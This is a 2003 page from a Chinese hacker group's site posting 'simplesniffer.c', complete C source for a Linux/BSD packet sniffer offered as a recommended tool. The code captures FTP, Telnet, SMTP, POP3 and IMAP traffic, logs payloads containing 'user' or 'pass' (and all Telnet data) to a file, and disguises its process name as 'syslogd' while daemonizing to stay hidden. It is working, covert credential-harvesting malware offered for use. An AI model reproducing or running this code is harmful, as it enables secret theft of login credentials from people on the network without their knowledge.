快速通道

文档分类
- 软件作品 <=
- 文档作品
- 代码作品

推荐作品
- HGod 0.51
- HScan v1.20
- trtool2.4.exe for windows,VC6.0 下编译
- 多线程包转发稳定版 HTran V1.00
- NTscan v1.0
- HDoor V0.41

simplesniffer.c

提交作品： bkbll
提交日期： 2003-07-28
作品属性： 推荐
文档类别： 软件作品
浏览次数： 今1次/总2249次

一个很简单的sniffer, 支持linux和Bsd, 主要监听流经本机的数据.

```
/* sniffer on the linux host
* I do not need set the linux box eth0 or eth1...n to promiscuous mode.
* compile on linux
* [bkbll@mobile ownprog]$ gcc -o simplesinffer simplesinffer.c
* then run by root:
* [root@mobile ownprog]# ./simplesinffer "aaaaaaaaaaaaaaaa" /dev/bd0
ok,pid 955 starting
[root@mobile ownprog]# ps ax|grep 955
955 ? S 0:00 aaaaaaaaaaaaaaaa
957 pts/0 R 0:00 grep 955
---------------------------------------------------------------------
argv[1]: MASQ command
default value is :#define COMM_MASQ "syslogd -m 1 "
argv[2]: log file name
default value is :#define LOGFILE "./all.log"
*#########################3
*Code by bkbll (bkbll@cnhonker.net)
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <errno.h>
#include <strings.h>
#include <sys/file.h>

#include <features.h> /* for the glibc version number */
#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
#include <netpacket/packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#else
#include <asm/types.h>
```

```
#include <linux/if_packet.h>
#include <linux/if_ether.h> /* The L2 protocols */
#endif

#define MAXSIZE 1024
#define LOGFILE "./all.log"
#define COMM_MASQ "syslogd -m 1 "
struct msghead
{
    struct iphdr ip;
    struct tcphdr tcp;
    char buffer[MAXSIZE];
};
struct logcont
{
    char shost[16];
    char dhost[16];
    int sport;
    int dport;
    char buffer[MAXSIZE];
}oldlogcont;

int filterport[]={21,23,25,110,143};
int sockfd;
FILE *fp;
int anylasis(struct msghead msg,int size);
int showmem(unsigned int p,int length);
int iswanttolog(int dport);
int makelog(struct logcont curretlog);
void cleanup();
int strp(const char *s1, const char *s2);
main(int argc,char *argv[])
{
    struct msghead ourmesg;
    int readsize;
    fd_set readfd;
    int pid;

    if((sockfd=socket(PF_PACKET,SOCK_DGRAM,htons(ETH_P_IP)))<0)
    {
        printf("cannt use PF_PACKET\r\n");
        if((sockfd=socket(AF_INET, SOCK_PACKET, htons(0x800)))<0)
        {
            perror("create socket");
            cleanup();
        }
    }
    if(argc>=3)
        fp=fopen(argv[2],"a");
    else
        fp=fopen(LOGFILE,"a");
    if(fp == NULL) { perror("can't open log\n");cleanup();}

    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    signal(SIGKILL, cleanup);
    signal(SIGQUIT, cleanup);
    signal(SIGCHLD,SIG_IGN);

    if(argc>1)
    {
        memcpy(argv[0],argv[1],strlen(argv[1]));
        *(argv[0]+strlen(argv[1])+0)=0;
        if(strlen(argv[0])<100)
        {
            memset(argv[0]+strlen(argv[0]),0,40);
        }
        //*(argv[0]+strlen(argv[1])+1)=0;
    }
    else
    {
```

```
        memcpy(argv[0],COMM_MASQ,strlen(COMM_MASQ));
        *(argv[0]+strlen(COMM_MASQ))=0;
    }
    pid=fork();
    //cleanup();
    if(pid)
    {
        sleep(1);
        exit(0);
    }
    setsid();
    pid=fork();
    if(pid)
    {
        printf("ok,pid %d starting\r\n",pid);
        exit(0);
    }
    fprintf(fp,"\r\n=====================start=====================\r\n");

    fflush(fp);
    close(0);
    close(1);
    close(2);
    while(1)
    {
        FD_ZERO(&readfd);
        FD_SET(sockfd, &readfd);

        if (select(sockfd+1,&readfd, NULL, NULL, NULL) < 0)break;
        if (FD_ISSET(sockfd, &readfd))
        {
            readsize = read(sockfd, (struct msghead *)&ourmesg, sizeof(struct msghead));
            if (readsize <= 0) continue;
            //printf("read:%d,sizeof(struct msghead)=%d\r\n",readsize,sizeof(struct
msghead));
            anylasis(ourmesg,readsize);
            memset(&ourmesg,0,sizeof(struct msghead));
        }
    }
    close(sockfd);
}

int anylasis(struct msghead msg,int size)
{
    struct iphdr *iph;
    struct tcphdr *tcph;
    unsigned int saddr,daddr;
    int sport,dport,i;
    char *a;
    char shost[16],dhost[16];
    struct logcont nowlogcont;

    iph=&(msg.ip);
    tcph=&(msg.tcp);
    saddr=iph->saddr;
    daddr=iph->daddr;
    sport=ntohs(tcph->source);
    dport=ntohs(tcph->dest);
    a=msg.buffer;
    memset(nowlogcont.buffer,0,MAXSIZE);
    if(iswanttolog(dport))
    {
        //printf("read:%d\r\n",size);
        //printf("source:%s,dst:%s\r\n",inet_ntoa(saddr),inet_ntoa(daddr));
        if(size>40) // ÓÐÄÚÈÝ
        {
            for(i=0;i<size-40;i++)
            {
                //printf("0x%x\r\n",*(a+i));
                /* È¥µô·ÇASCII²¿·Ö*/
                if((*(a+i) >0x1f) && (*(a+i)<0x7e)) break;
            }
```

```
            if(strlen(a+i)>0)
            {
                sprintf(shost,"%d.%d.%d.%d",saddr & 0xff, (saddr >>8) & 0xff,(saddr >>16)
& 0xff,(saddr >>24) & 0xff);
                sprintf(dhost,"%d.%d.%d.%d",daddr & 0xff, (daddr >>8) & 0xff,(daddr >>16)
& 0xff,(daddr >>24) & 0xff);
                shost[strlen(shost)]=0;
                dhost[strlen(dhost)]=0;
                strncpy(nowlogcont.shost,shost,16);
                strncpy(nowlogcont.dhost,dhost,16);
                nowlogcont.sport=sport;
                nowlogcont.dport=dport;
                strncpy(nowlogcont.buffer,a+i,strlen(a+i));
                if(dport !=23)
                {
                    if(memcmp(&nowlogcont,&oldlogcont,sizeof(struct logcont)) == 0)
                    {
                        return(0);
                    }
                    //printf("strp(\"%s\",\"user\")=%d\r\n",nowlogcont.buffer,strp
(nowlogcont.buffer,"user"));
                    if((strp(nowlogcont.buffer,"user")<0) && (strp(nowlogcont.buffer,"pass")
<0))
                    {
                        return(0);
                    }
                }
                makelog(nowlogcont);
                memcpy(&oldlogcont,&nowlogcont,sizeof(struct logcont));

                printf("From:%s:%d ==> %s:%d\r\n",shost,sport,dhost,dport);
                if((*(a+size-42) == 0x0d ) && (*(a+size-41) == 0x0a))
                    printf("buffer:%s",a+i);
                else
                    printf("buffer:%s\r\n",a+i);

            }
        }

    }

}
int showmem(unsigned int p,int length)
{
int i=0;
char *sc=(char *)p;
while(1)
{
if(i%16==0)
{
printf("\r\n%p: ",sc+i);
}
printf("0x%.2x%.2x%.2x%.2x ",sc[i+3] & 0xff,sc[i+2] & 0xff,sc[i+1] & 0xff,sc[i] & 0xff);
//printf("%c%c%c%c ",(*(p+i+3)),(*(p+i+2)) ,(*(p+i+1)) ,(*(p+i)));
//printf("0x%x%x%x%x ",((char)*(p+i+3)) & 0xff,((char)*(p+i+2)) & 0xff ,((char)*(p+i+1))
& 0xff ,((char)*(p+i)) & 0xff);
i+=4;
if(i>=length) {printf("\r\n");return i;}
}

}
int iswanttolog(int dport)
{
    int tempport,i;
    i=0;
    while(1)
    {
        tempport=filterport[i];
        if(tempport == dport) return(1);
        if(tempport == 0) return(0);
        i++;
    }
```

```
}

int makelog(struct logcont currentlog)
{
    int i;
    char *a;
    a=currentlog.buffer;
    //showmem((unsigned int ) ¤ tlog,sizeof(currentlog));
    fprintf(fp,"From:%s:%d ==> %s:%
d\r\n",currentlog.shost,currentlog.sport,currentlog.dhost,currentlog.dport);
    i=strlen(currentlog.buffer);
    if((*(a+i-2) == 0x0d ) && (*(a+i-1) == 0x0a))
        fprintf(fp,"%s",currentlog.buffer);
    else
        fprintf(fp,"%s\r\n",currentlog.buffer);
    fflush(fp);
}

void cleanup()
{
    if(sockfd)
     close(sockfd);
    if(fp)
    {
     fprintf(fp,"======================end=======================\r\n");
     //flock(*fp,LOCK_UN);
     fclose(fp);
    }
    //printf("exiting......\r\n");
    exit(0);
}

int strp(const char *s1, const char *s2)
{
char *a,*b,*c;
int i=0;
a=(char *)malloc(strlen(s1)+1);
b=(char *)malloc(strlen(s2)+1);
memset(a,0,strlen(s1)+1);
memset(b,0,strlen(s2)+1);

while(*(s1+i))
{
    *(a+i)=tolower(*(s1+i));
    i++;
}
//printf("i=%d\r\n",i);
i=0;
while(*(s2+i))
{
    *(b+i)=tolower(*(s2+i));
    i++;
}
//printf("s1:%s,new:%s\r\n",s1,a);
//printf("s2:%s,new:%s\r\n",s2,b);
c=strstr(a,b);
free(a);
free(b);
return((c==NULL)?-1:0);
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net